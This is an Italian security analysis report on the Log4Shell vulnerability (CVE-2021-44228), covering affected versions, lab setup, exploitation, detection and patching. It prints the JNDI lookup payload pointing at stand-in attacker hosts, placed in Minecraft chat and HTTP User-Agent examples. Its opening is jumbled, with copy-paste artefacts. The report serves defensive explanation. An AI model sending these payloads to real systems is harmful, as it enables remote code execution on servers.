
CVE-2021-44228
Igloo Corporation Won Chi-hyeon – Rapporto di analisi Log4shell
CVE-2021-44228 Log4j è il progetto open source gratuito della Apache Foundation, basato su Java e applicabile a tutti i servizi basati su Java per la registrazione dei log; utilizza le risorse trovate tramite JNDI Lookup (Java LDAP sulla porta 1389) per individuare e referenziare dati e oggetti.
Download del file immagine Docker per l'avvio del server vulnerabile Asudo git clone sudo docker build . -t vulnerable-app Esegue la build dell'immagine Docker nella directory corrente, con la nuova immagine denominata vulnerable-app.
github.com/welk
Arresto del server vulnerabile non in uso docker ps -a: verifica di tutte le immagini Docker in esecuzione Identifica l'ID del container Docker
Log4Shell (CVE-2021-44228) è una vulnerabilità di esecuzione remota di codice (RCE, Remote Code Execution) trovata nella libreria Apache Log4j.
Un attaccante può eseguire codice arbitrario utilizzando payload dannosi, causando danni su larga scala.
Il presente rapporto analizza i principi, l'impatto, i casi di sfruttamento, i metodi di rilevamento e le contromisure di Log4Shell.
| Voce | Descrizione |
|---|
| Nome della vulnerabilità | Log4Shell |
| Numero CVE | CVE-2021-44228 |
| Tipo di vulnerabilità | Esecuzione remota di codice (RCE) |
| Versioni interessate | Log4j 2.0-beta9 ~ 2.14.1 |
| Versione con patch | Log4j 2.15.0 o superiore |
| Difficoltà di attacco | Bassa (sfruttabile con un semplice input di stringa) |
| Gravità | 🔥 Critica (CVSS 10.0) |
Log4Shell sfrutta la vulnerabilità della funzionalità di lookup JNDI (Java Naming and Directory Interface), consentendo a un attaccante di eseguire codice dannoso da un server remoto.
L'attaccante può sfruttare la vulnerabilità semplicemente facendo registrare la seguente stringa nei log.
${jndi:ldap://attacker.com:1389/exploit}
4. Ambito dell'impatto
La vulnerabilità Log4Shell ha colpito numerose aziende e servizi che utilizzano Log4j.
4.1 Principali servizi e sistemi vulnerabili
Servizi cloud: AWS, Google Cloud, Microsoft Azure
Applicazioni aziendali: Apache Struts, ElasticSearch, VMware vCenter
Server di gioco: Minecraft, Steam
Varie applicazioni e server web: Spring Boot, Tomcat, ecc.
5. Casi di sfruttamento ed esempi di attacco
5.1 Attacco al server Minecraft
L'attaccante poteva compromettere il server inserendo la seguente stringa nella chat di Minecraft.
shell
Copia
Modifica
${jndi:ldap://attacker.com:1389/exploit}
Quando il server la registra nei log, il codice dannoso viene eseguito dal server dell'attaccante tramite JNDI Lookup.
5.2 Attacco alle applicazioni web
Inserimento di payload dannosi in campi registrati nei log delle richieste HTTP, come User-Agent, Referer, X-Forwarded-For.
Esempio:
css
Copia
Modifica
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}
6. Rilevamento e contromisure
6.1 Metodi di rilevamento della vulnerabilità
✅ Utilizzo di scanner di sicurezza
log4j-scan (https://github.com/fullhunt/log4j-scan)
log4shell-detector (https://github.com/Neo23x0/log4shell-detector)
✅ Controllo dei file di log
Se nei log vengono rilevati pattern come ${jndi:ldap://...}, è necessaria una risposta immediata.
✅ Monitoraggio della rete
Controllare la presenza di richieste LDAP e RMI anomale.
6.2 Contromisure
✅ Misure immediate
Aggiornare a Log4j 2.15.0 o versioni successive.
Impostare la variabile d'ambiente all'esecuzione di Java:
shell
Copia
Modifica
-Dlog4j2.formatMsgNoLookups=true
Bloccare i pattern jndi:ldap:// nel firewall e negli IDS/IPS.
✅ Misure di sicurezza a lungo termine
Limitare l'uso di JNDI e rafforzare le policy di sicurezza.
Applicare un WAF (Web Application Firewall).
Eseguire controlli di sicurezza e scansioni delle vulnerabilità periodici.
7. Patch e soluzioni
Versione di Log4j Contromisura
2.0-beta9 ~ 2.14.1 Vulnerabile, aggiornamento necessario
2.15.0 JNDI Lookup disabilitato per impostazione predefinita
2.16.0 Funzionalità JNDI completamente rimossa
2.17.0 Ulteriori misure di rafforzamento della sicurezza
✅ Aggiornamento consigliato all'ultima versione (2.17.1 o successiva)!
8. Conclusione
Log4Shell (CVE-2021-44228) è considerata una delle vulnerabilità di sicurezza più gravi degli ultimi anni.
✅ È essenziale applicare rapidamente le patch ai sistemi vulnerabili ed eseguire un monitoraggio di sicurezza continuo.
✅ È necessario eseguire controlli di sicurezza su tutte le applicazioni che utilizzano Log4j.
9. Riferimenti
Raccomandazione di sicurezza ufficiale di Apache Log4j
NIST National Vulnerability Database (CVE-2021-44228)
log4j-scan (GitHub)